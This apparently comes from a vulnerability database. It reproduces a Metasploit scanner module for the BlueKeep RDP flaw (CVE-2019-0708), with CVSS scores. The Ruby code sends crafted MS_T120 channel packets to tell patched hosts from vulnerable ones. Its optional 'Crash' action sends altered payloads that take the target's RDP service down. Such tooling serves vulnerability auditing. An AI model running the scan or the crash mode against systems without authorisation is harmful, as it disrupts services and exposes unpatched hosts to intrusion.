Lucene search

K
metasploitNational Cyber Security Centre, JaGoTu, zerosum0x0, Tom SellersMSF:AUXILIARY-SCANNER-RDP-CVE_2019_0708_BLUEKEEP-
HistoryJun 03, 2019 - 9:54 p.m.

CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check

2019-06-0321:54:33
National Cyber Security Centre, JaGoTu, zerosum0x0, Tom Sellers
www.rapid7.com
330

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending non-DoS packets which respond differently on patched and vulnerable hosts. It can optionally trigger the DoS vulnerability.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::RDP
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
        'Description' => %q{
          This module checks a range of hosts for the CVE-2019-0708 vulnerability
          by binding the MS_T120 channel outside of its normal slot and sending
          non-DoS packets which respond differently on patched and vulnerable hosts.
          It can optionally trigger the DoS vulnerability.
        },
        'Author' =>
          [
            'National Cyber Security Centre', # Discovery
            'JaGoTu', # Module
            'zerosum0x0', # Module
            'Tom Sellers' # TLS support, packet documenentation, DoS implementation
          ],
        'References' =>
          [
            [ 'CVE', '2019-0708' ],
            [ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
            [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
          ],
        'DisclosureDate' => '2019-05-14',
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Scan', 'Description' => 'Scan for exploitable targets'],
          ['Crash', 'Description' => 'Trigger denial of service vulnerability'],
        ],
        'DefaultAction' => 'Scan',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'AKA' => ['BlueKeep']
          }
      )
    )
  end

  def report_goods
    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
      refs: references
    )
  end

  def run_host(ip)
    # Allow the run command to call the check command

    status = check_host(ip)
    if status == Exploit::CheckCode::Vulnerable
      print_good(status[1].to_s)
    elsif status == Exploit::CheckCode::Safe
      vprint_error(status[1].to_s)
    else
      vprint_status(status[1].to_s)
    end

    status
  end

  def rdp_reachable
    rdp_connect
    rdp_disconnect
    return true
  rescue Rex::ConnectionRefused
    return false
  rescue Rex::ConnectionTimeout
    return false
  end

  def check_host(_ip)
    # The check command will call this method instead of run_host
    status = Exploit::CheckCode::Unknown

    begin
      begin
        rdp_connect
      rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
        return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')
      end

      status = check_rdp_vuln
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    rescue RdpCommunicationError
      vprint_error('Error communicating RDP protocol.')
      status = Exploit::CheckCode::Unknown
    rescue Errno::ECONNRESET
      vprint_error('Connection reset')
    rescue StandardError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    ensure
      rdp_disconnect
    end

    status
  end

  def check_for_patch
    begin
      6.times do
        _res = rdp_recv
      end
    rescue RdpCommunicationError
      # we don't care
    end

    # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
    # The arch governs which of the packets triggers the desired response
    # which is an MCS Disconnect Provider Ultimatum or a timeout.

    # Disconnect Provider message of a valid size for each platform
    # has proven to be safe to send as part of the vulnerability check.
    x86_string = '00000000020000000000000000000000'
    x64_string = '0000000000000000020000000000000000000000000000000000000000000000'

    if action.name == 'Crash'
      vprint_status('Sending denial of service payloads')
      # Length and chars are arbitrary but total length needs to be longer than
      # 16 for x86 and 32 for x64. Making the payload too long seems to cause
      # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
      # the payload size and sending more of them doesn't seem to improve the
      # reliability. It *seems* to happen more often on x64, I haven't seen it
      # fail against x86. Repeated attempts will generally trigger the DoS.
      x86_string += 'FF' * 1
      x64_string += 'FF' * 2
    else
      vprint_status('Sending patch check payloads')
    end

    chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
    channel_id = [1005].pack('S>')
    x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)

    x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)

    6.times do
      rdp_send(x86_packet)
      rdp_send(x64_packet)

      # A single pass should be sufficient to cause DoS
      if action.name == 'Crash'
        sleep(1)
        rdp_disconnect

        sleep(5)
        if rdp_reachable
          print_error("Target doesn't appear to have been crashed. Consider retrying.")
          return Exploit::CheckCode::Unknown
        else
          print_good('Target service appears to have been successfully crashed.')
          return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')
        end
      end

      # Quick check for the Ultimatum PDU
      begin
        res = rdp_recv(-1, 1)
      rescue EOFError
        # we don't care
      end
      return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))

      # Slow check for Ultimatum PDU. If it doesn't respond in a timely
      # manner then the host is likely patched.
      begin
        4.times do
          res = rdp_recv
          # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
          if res.include?(['0300000902f0802180'].pack('H*'))
            return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')
          end
        end
      rescue RdpCommunicationError
        # we don't care
      end
    end

    Exploit::CheckCode::Safe
  end

  def check_rdp_vuln
    # check if rdp is open
    is_rdp, version_info = rdp_fingerprint
    unless is_rdp
      vprint_error('Could not connect to RDP service.')
      return Exploit::CheckCode::Unknown
    end
    rdp_disconnect
    rdp_connect
    is_rdp, server_selected_proto = rdp_check_protocol

    requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
    product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
    info = "Detected RDP on #{peer} (Windows version: #{product_version})"

    service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
    info << " (#{service_info})"

    vprint_status(info)

    if requires_nla
      vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')
      return Exploit::CheckCode::Safe
    end

    chans = [
      ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
      ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
    ]

    success = rdp_negotiate_security(chans, server_selected_proto)
    return Exploit::CheckCode::Unknown unless success

    rdp_establish_session

    result = check_for_patch

    if result == Exploit::CheckCode::Vulnerable
      report_goods
    end

    # Can't determine, but at least we know the service is running
    result
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%